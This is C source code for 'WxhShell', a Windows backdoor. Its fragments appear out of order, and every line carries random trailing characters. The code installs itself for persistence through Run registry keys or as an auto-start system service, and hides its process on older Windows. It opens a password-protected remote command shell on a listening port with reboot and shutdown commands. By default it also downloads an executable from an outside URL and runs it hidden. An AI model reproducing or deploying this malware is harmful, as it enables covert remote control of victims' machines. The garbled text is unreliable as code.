DWORD BasePriority; Z_xQ2uH$:
ULONG UniqueProcessId; `[(XZhN
ULONG InheritedFromUniqueProcessId; >yXhP6
} PROCESS_BASIC_INFORMATION; :i& 9}\|,
4K~=l%l
PROCNTQSIP NtQueryInformationProcess; n7K%lj-.P
Q\
6-SAS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ng9e)lU~*b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]=%qm;
l&U$LN$*e
HANDLE hProcess; 8b~
PROCESS_BASIC_INFORMATION pbi; SO(BkxV@
yq[/9Pci A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9RHDkK{5
if(NULL == hInst ) return 0; ?
,s'UqR
N\B&|;-V
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h
~yTkN]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #)xlBq4cZ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8tQL$CbO
<nD@4J-A0
if (!NtQueryInformationProcess) return 0; [~
2m*Q
x[0hY0 ?[M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #&?ER]|3
if(!hProcess) return 0; -d#08\
[r8[lkR
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {.AN4
;hO6 p
CloseHandle(hProcess); _.V5-iN
"``>ii
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;<Hk Cd
if(hProcess==NULL) return 0; ."^\1N(.n
|C z7_Rn
HMODULE hMod; )1M2}11uS
char procName[255]; ,3T"fT-(
unsigned long cbNeeded; Uoe;=P@
so$(-4(E O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {R(CGrI
{cOx0=
CloseHandle(hProcess); 7`t"fS
0Atha>w^o~
if(strstr(procName,"services")) return 1; // 以服务启动 gveJ1P
k89N}MA
return 0; // 注册表启动 lW-h
@
} I8)D
{ m~)~/z?
// 主模块 #2ta8m),
int StartWxhshell(LPSTR lpCmdLine) b/
\EN)
{ ;#9?3Os
SOCKET wsl; fv+ET:T%
BOOL val=TRUE; u%:`r*r
int port=0; "IzAvKPM
struct sockaddr_in door; XK3O,XM
^O@eyP
if(wscfg.ws_autoins) Install(); B!x#|vGXL
l+P!I{n
port=atoi(lpCmdLine); b)KEB9w
?rQ .nN
if(port<=0) port=wscfg.ws_port; tB~#;:g
,m?V3xvq
WSADATA data; s.Z{mnD6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a
dr\l5pWQ
c YgJ}(>}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nng|m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }lX$KuD
door.sin_family = AF_INET; OHBCanZZ,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ydO+=R0M
door.sin_port = htons(port); EF\OM?R
WXmfh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jGz~}&B
closesocket(wsl); l9Ol|Cb&
return 1; n8; p]{
} EG`AkWy
cb]X27uww
if(listen(wsl,2) == INVALID_SOCKET) { YFJaf"?8g
closesocket(wsl); 57{T
p:|
return 1; 8b]4uI<
} =-:%~ng
Wxhshell(wsl); u3O@ccJ;
WSACleanup(); 9|<Li[
KqJln)7
return 0; Lr:n
B//*hH >F
} -+1O*L!
)SJM:E
// 以NT服务方式启动 3 5.&!4}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G-9i
{ $%DoLpE>
DWORD status = 0; N ~=PecQ
DWORD specificError = 0xfffffff; 0*5Jq#5
"o`?-bQ:
serviceStatus.dwServiceType = SERVICE_WIN32; 2yn"K|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; E-C]<{`O
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %M1l[\N
serviceStatus.dwWin32ExitCode = 0; P7=`P
serviceStatus.dwServiceSpecificExitCode = 0; (["kbPma
serviceStatus.dwCheckPoint = 0; pu/5#[MC)^
serviceStatus.dwWaitHint = 0; &gr 8;O:0
"A+7G5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'a+^= c
if (hServiceStatusHandle==0) return; {Dl@/fz
J?J4<l9
status = GetLastError(); TxF^zx\
if (status!=NO_ERROR) "i#g [x
{ 4y3c=L
No
serviceStatus.dwCurrentState = SERVICE_STOPPED; ed',\+.uB
serviceStatus.dwCheckPoint = 0; PZqp;!:xz
serviceStatus.dwWaitHint = 0; hO$Gx*e$
serviceStatus.dwWin32ExitCode = status; zCo$YP#5_
serviceStatus.dwServiceSpecificExitCode = specificError; BuRsz6n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _h^.`Tz,
return; /+%aSPQ
} $}tF66d
oH0g>E;
serviceStatus.dwCurrentState = SERVICE_RUNNING; jnOnV1I"
serviceStatus.dwCheckPoint = 0; Lw[=pe0e
serviceStatus.dwWaitHint = 0; 5\h 6"/6Df
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lBFKfLp&
} %8u9:Cl):
#2U# h-vI
// 处理NT服务事件,比如:启动、停止 E~WbV+,3
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]j:k!=Ss?
{ MF'Z?M
switch(fdwControl) 0;><@{'
{ Za!KM
case SERVICE_CONTROL_STOP: `mteU"{bx
serviceStatus.dwWin32ExitCode = 0; +ho=0>
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mo N/?VA
serviceStatus.dwCheckPoint = 0; W3!-;l
serviceStatus.dwWaitHint = 0; 2#5Q~
{ )cizd^{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +d=f_@i
} ,5Wu
return; h?/E />
case SERVICE_CONTROL_PAUSE: kB CU+FC
serviceStatus.dwCurrentState = SERVICE_PAUSED; -JEPh!oTt
break; s(fkb7W,gO
case SERVICE_CONTROL_CONTINUE: T.I'c6|
serviceStatus.dwCurrentState = SERVICE_RUNNING; }[z7V
break; sz270k%[
case SERVICE_CONTROL_INTERROGATE: U=KUx
break; 4_VgJ9@
}; AFL'Ox]0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]>[TF'pIAx
} 0'F/z%SMj
C)i8XX
// 标准应用程序主函数 =dNE1rdzNa
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D>{`I'
{ f:\)!
&W
[n/c7Pe
// 获取操作系统版本 /
S' +
OsIsNt=GetOsVer(); S'|PA7a}h
GetModuleFileName(NULL,ExeFile,MAX_PATH); o NA ]G]
$S<B\\
%
// 从命令行安装 /d|:
if(strpbrk(lpCmdLine,"iI")) Install(); i9Bh<j>:J
",aNYJR>*!
// 下载执行文件 `]l`t"x
if(wscfg.ws_downexe) { B<BS^waU
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Cy,#X%j>
WinExec(wscfg.ws_filenam,SW_HIDE); Q]=/e7
} \='LR!_
N,XjZ26
if(!OsIsNt) { M}X `
// 如果时win9x,隐藏进程并且设置为注册表启动 pJe!~eyHm
HideProc(); }X8P5c!\
StartWxhshell(lpCmdLine); #J/RI[a
} Ig!0A}f
else EMe1!)
if(StartFromService()) a_+3, fP
// 以服务方式启动 rZ(#t{]=!
StartServiceCtrlDispatcher(DispatchTable); .zdaY,
U
else ,S
dj"C
// 普通方式启动 6e \?%,H
StartWxhshell(lpCmdLine); 1qAE)8ie
L;*7p9
return 0; %-fXa2
} 36co'a4,
{_(R?V]w,
Xa>'DO2
om`B:=+
=========================================== \Cq4r4'
RTd,bi*
-`Z!p
1mtYap4
0sw;h.VY
B2$cY;LH
" NGi)Lh|
qY%|Uo
#include <stdio.h> 4Dzg r,V
#include <string.h> P4yUm(@
#include <windows.h> Ms5qQ<0v_
#include <winsock2.h> $s1/Rmw
#include <winsvc.h> Q}\\0ajS)
#include <urlmon.h> q,7W,<-
whw+
#pragma comment (lib, "Ws2_32.lib") m.ka%h$
#pragma comment (lib, "urlmon.lib") r$4d4xtK
E7R%G OH
#define MAX_USER 100 // 最大客户端连接数 O{c#&/ .K
#define BUF_SOCK 200 // sock buffer )skpf%g
#define KEY_BUFF 255 // 输入 buffer j<
h1s%
2K/t[.8
#define REBOOT 0 // 重启 {7oPDP
#define SHUTDOWN 1 // 关机 .?APDr"QQH
\6 J Y#%
#define DEF_PORT 5000 // 监听端口 <tZtt9j_
5#|&&$)
#define REG_LEN 16 // 注册表键长度 KAE %Wwjr
#define SVC_LEN 80 // NT服务名长度 ;TDvk]:
Jo[&y,
// 从dll定义API !jB}}&Ii
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B+Qo{-
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +<@1)qZ(E
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O\cc=7
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `2+TN
32 j){[PL3
// wxhshell配置信息 0 5?`W&:9
struct WSCFG { /YPG_,lRA
int ws_port; // 监听端口 D0bpD
char ws_passstr[REG_LEN]; // 口令 WQCnkP
int ws_autoins; // 安装标记, 1=yes 0=no &m36h`tM
char ws_regname[REG_LEN]; // 注册表键名 T; [T`
char ws_svcname[REG_LEN]; // 服务名 d,i4WKp
char ws_svcdisp[SVC_LEN]; // 服务显示名 fO5L[U^`
char ws_svcdesc[SVC_LEN]; // 服务描述信息 aLLI\3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uIO?4\s&G
int ws_downexe; // 下载执行标记, 1=yes 0=no .EWj eVq
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \rh+\9(
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tkptm%I_
C[TjcHoA
}; c^H#[<6p
f:P;_/cJc
// default Wxhshell configuration x{!+4W;S
struct WSCFG wscfg={DEF_PORT, v h)CB8
"xuhuanlingzhe", $_'<kH-eP
1, o@
^^;30
"Wxhshell", K~-V([tWg
"Wxhshell", )!VJ\
"WxhShell Service", $SA
@ "
"Wrsky Windows CmdShell Service", f$}g'r zl
"Please Input Your Password: ", KMfIp:~
1, 4Hyp]07
"http://www.wrsky.com/wxhshell.exe", )D+eWo
"Wxhshell.exe" =s:kC`O
}; e)-$#qW
[-W~o.`
// 消息定义模块 6&~Z3|<e
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y@UW\d*'%I
char *msg_ws_prompt="\n\r? for help\n\r#>"; z\,
lPwB2
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &uaSp,L
char *msg_ws_ext="\n\rExit."; l(3PxbT
char *msg_ws_end="\n\rQuit."; 01
+#2~S
char *msg_ws_boot="\n\rReboot..."; 8(NS;?
char *msg_ws_poff="\n\rShutdown..."; =kq<J-:#R
char *msg_ws_down="\n\rSave to "; beYGP
wS$ 'gKA6
char *msg_ws_err="\n\rErr!"; {EoZ}I
char *msg_ws_ok="\n\rOK!"; )9/iH(
%(%EEt
char ExeFile[MAX_PATH]; ]{|l4e4P
int nUser = 0; w0=/V[fs
HANDLE handles[MAX_USER]; \zA3H$Df~
int OsIsNt; g=v'[JPd
&,Rye Q
SERVICE_STATUS serviceStatus; 7?_gm>]a
SERVICE_STATUS_HANDLE hServiceStatusHandle; k&K'FaM!
tycVcr\(
// 函数声明 r4 5}o
int Install(void); !p36OEx
int Uninstall(void); XH!n{Of
int DownloadFile(char *sURL, SOCKET wsh); d{WOO)j
int Boot(int flag); .}!.:
|
void HideProc(void); 3h o'\Ysu/
int GetOsVer(void); +Swl$ab
int Wxhshell(SOCKET wsl); F2(^OFh
void TalkWithClient(void *cs); cF9ZnT.
int CmdShell(SOCKET sock); 4},Y0 QXw
int StartFromService(void); eA(FWO
int StartWxhshell(LPSTR lpCmdLine); )`|`PB
/a}N6KUi
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zl!
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #QOb[9(Tu(
kyYU 1gfh
// 数据结构和表定义 ]$UTMuOQl
SERVICE_TABLE_ENTRY DispatchTable[] = ??hKsjNAm0
{ I&1.}{G>F
{wscfg.ws_svcname, NTServiceMain}, i(# Fjp
{NULL, NULL} hf)RPG&
}; N /2WUp
CAA3-"Cwi
// 自我安装 Y!(w. G
int Install(void) 7oL:C
{ (o\D=!a
char svExeFile[MAX_PATH]; 1]8Hpd
HKEY key; b'/:e#F
strcpy(svExeFile,ExeFile); JAwEu79sh
`i~J0#P
// 如果是win9x系统,修改注册表设为自启动 fgo3Gy*#
if(!OsIsNt) { CRzLyiRvU&
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7D8 pb0`;J
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VqOTrB1w/
RegCloseKey(key); .v=n-k7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZWB3R
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "KC3+:tm
RegCloseKey(key); B.b sU
return 0; =(,kjw88w
} 0+_;6
} {FC<vx{42
} _39VL
else { F
Zt;D
7=wQ#bq"1P
// 如果是NT以上系统,安装为系统服务 #aP;a-Q|k
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #7J3,EV
if (schSCManager!=0) 0o.h{BN
{ _|{pO7x]oG
SC_HANDLE schService = CreateService !D
'A
( S->S p
schSCManager, 5VN~?#K
wscfg.ws_svcname, NfCo)C-t
wscfg.ws_svcdisp, O]25{L
SERVICE_ALL_ACCESS, I|/|\
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eNFA.*p<
SERVICE_AUTO_START, 85FzIX-F%
SERVICE_ERROR_NORMAL, ^(qR({cX
svExeFile, BSEP*#s
NULL, Bq,Pk5b
NULL, pqbKPpG
NULL, D/2;b;-
NULL, u<+RA
NULL MLDAr dvK
); Zc9S[ivq
if (schService!=0) eQ#"-i
{ LXc;`]
CloseServiceHandle(schService); _ UF'Cf+Y
CloseServiceHandle(schSCManager); kRiZ6mn
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ao9|t;i
strcat(svExeFile,wscfg.ws_svcname); .MxMBrM
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7:C2xC
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Zp^X:(
RegCloseKey(key); H Mfhe[A?
return 0; ^g+M=jq _
} ef:Zi_o
} !-B|x0fs
CloseServiceHandle(schSCManager); 3-![%u
} ab_EH}j1\q
} vb\R~%@T,
f(-3d*g
return 1; d\ Xijy
} dpcv'cRfw
r?Pk}Q
// 自我卸载 $! UEpQ
int Uninstall(void) p1\EC#Q
{ <2w41QZX
HKEY key; UzkX;UA
l_&T)Ei
if(!OsIsNt) { bxww1NG>|Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `9G1Bd8k
RegDeleteValue(key,wscfg.ws_regname); 4}^\&K&t{
RegCloseKey(key); # 9ZO1\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )x&>Cf<,
RegDeleteValue(key,wscfg.ws_regname); SYv5{bff =
RegCloseKey(key); tlmfDQD
return 0; `?(9Bl
} O~F8lQ
} %e=UYBj"
} l]P3oB}Yo
else { *3y:Wv T>
f87lm*wZ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YYd!/@|N5
if (schSCManager!=0) Rd+`b
{ >!P !F(
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "Ze<dB#,Y
if (schService!=0) 7t/C:2^&
{ onUF@3V
if(DeleteService(schService)!=0) { ZOHGGO]1M
CloseServiceHandle(schService); `S/;S<';
CloseServiceHandle(schSCManager); TSP#.QY
return 0; |?uUw$oh
} X>rv{@K bL
CloseServiceHandle(schService); K1fnHpK
} -Wl79lE
CloseServiceHandle(schSCManager); KrD?Z2x
} (wEaw|Zx
} G~\=:d=^,`
(fnp\j3w
return 1; 0$q)uip
} Yg3emn|a
;rh@q4#
// 从指定url下载文件 Y[alOJ
int DownloadFile(char *sURL, SOCKET wsh) ~@ hiLW
{ }tH6E
HRESULT hr; Hz3KoO &
char seps[]= "/"; *8xMe
char *token;
1"} u51
char *file; 8|\?imOp\[
char myURL[MAX_PATH]; t9m08K:Y
char myFILE[MAX_PATH]; t>(}LV.
NT [~AK9M
strcpy(myURL,sURL); LD)P.
f
token=strtok(myURL,seps); xw&N[y5
while(token!=NULL) {vAv ;m
{ o51jw(wO
file=token; EEO)b_(
token=strtok(NULL,seps); U>kL|X3 V
} *`wgqin
A;C)#Q/
GetCurrentDirectory(MAX_PATH,myFILE); G8!* &vR/
strcat(myFILE, "\\"); c7(Lk"G8
strcat(myFILE, file); YST{
h{
send(wsh,myFILE,strlen(myFILE),0); yixAG^<